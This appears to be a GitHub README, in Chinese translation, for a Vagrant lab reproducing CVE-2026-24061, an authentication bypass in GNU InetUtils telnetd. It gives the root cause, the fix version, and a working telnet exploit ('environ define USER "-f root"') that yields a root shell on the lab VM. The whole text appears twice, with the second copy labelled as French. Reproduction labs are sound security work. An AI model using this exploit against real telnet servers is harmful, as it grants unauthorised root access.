akpmarcelin/CVE-2026-24061-lab

GitHub: akpmarcelin/CVE-2026-24061-lab

基于 Vagrant 搭建的 CVE-2026-24061 漏洞复现实验环境,用于演示 GNU InetUtils telnetd 因 USER 变量未过滤导致的身份验证绕过问题。

Stars: 0 | Forks: 0

# CVE-2026-24061 — 复现实验环境 *[Français ci-dessous](#cve-2026-24061--lab-de-démonstration)* ## 概述 GNU InetUtils telnetd ≤ 2.7 中存在严重的身份验证绕过漏洞 (CVSS 9.8)。 通过 Telnet NEW_ENVIRON 选项将 `-f root` 作为 USER 变量注入, 未经身份验证的攻击者无需任何密码即可获得 root shell。 ## 根本原因 在 Telnet 协商期间从客户端接收到的 USER 变量, 未经任何清理便被直接传递给 `/usr/bin/login`: ``` /usr/bin/login -p -f root ``` `-f` 标志会指示 `login` 跳过指定用户的密码验证。 此行为在 RFC 1572(第 7 节)中被记录为已知风险 —— 然而, 该漏洞在 inetutils 中已存在超过十年。 ## 受影响版本 GNU InetUtils telnetd 1.9.3 至 2.7 ## 补丁 升级至 GNU InetUtils ≥ 2.7-2 ## 实验环境搭建 本实验环境使用 **Vagrant** 来配置一个运行存在漏洞版本的 telnetd(从源码编译的 inetutils 2.5)的真实隔离 VM, 使其尽可能接近真实环境。 **前提条件:** 您的机器上需安装 Vagrant + VirtualBox。 ``` git clone https://github.com/agokoli/cve-2026-24061-lab cd cve-2026-24061-lab vagrant up ``` VM 启动后的 IP 为 `192.168.56.10`,telnetd 监听 23 端口。 ![实验环境已配置](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/0a3abbc813041537.png) ## 漏洞利用 从您的主机执行: ``` telnet telnet> environ define USER "-f root" telnet> open 192.168.56.10 23 ``` USER 变量在协商阶段(即出现登录提示之前)通过 NEW_ENVIRON Telnet 选项进行注入。 ![已连接到 VM](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/539087c3f4041542.png) ![已获取 root shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b5cfa95bf6041547.png) ## 参考 - [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) - [RFC 1572 — Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572) - [GNU InetUtils source — telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c) ## 作者 Agokoli # CVE-2026-24061 — 演示实验环境 *[English above](#cve-2026-24061--reproduction-lab)* ## 概述 GNU InetUtils telnetd ≤ 2.7 中存在严重的身份验证绕过漏洞 (CVSS 9.8)。 通过 Telnet NEW_ENVIRON 选项将 `-f root` 作为 USER 变量注入, 未经身份验证的攻击者无需任何密码即可获得 root shell。 ## 根本原因 在 Telnet 协商期间从客户端接收到的 USER 变量, 未经任何验证便被直接传递给 `/usr/bin/login`: ``` /usr/bin/login -p -f root ``` `-f` 标志会指示 `login` 跳过指定用户的密码验证。 此风险在 RFC 1572(第 7 节)中已有记录 —— 然而, 该漏洞在 inetutils 中已存在超过十年。 ## 受影响版本 GNU InetUtils telnetd 1.9.3 至 2.7 ## 补丁 升级至 GNU InetUtils ≥ 2.7-2 ## 实验环境搭建 本实验环境使用 **Vagrant** 来配置一个运行存在漏洞版本的 telnetd(从源码编译的 inetutils 2.5)的真实隔离 VM, 使其尽可能接近真实环境。 **前提条件:** 您的机器上需安装 Vagrant + VirtualBox。 ``` git clone https://github.com/agokoli/cve-2026-24061-lab cd cve-2026-24061-lab vagrant up ``` VM 启动后的 IP 为 `192.168.56.10`,telnetd 监听 23 端口。 ![实验环境已配置](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/0a3abbc813041537.png) ## 漏洞利用 从您的主机执行: ``` telnet telnet> environ define USER "-f root" telnet> open 192.168.56.10 23 ``` USER 变量在协商阶段(即出现 `login:` 提示之前)通过 NEW_ENVIRON Telnet 选项进行注入。 ![已连接到 VM](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/539087c3f4041542.png) ![已获取 root shell](https://static.pigsec.cn/wp-content/uploads/repos/2026/06/b5cfa95bf6041547.png) ## 参考 - [NVD — CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) - [RFC 1572 — Telnet Environment Option](https://www.rfc-editor.org/rfc/rfc1572) - [GNU InetUtils source — telnetd/sys_term.c](https://codeberg.org/inetutils/inetutils/src/tag/v2.5/telnetd/sys_term.c) ## 作者 Agokoli
标签:CISA项目, Telnet, Vagrant, 免杀, 漏洞复现, 漏洞环境, 身份验证绕过, 配置修复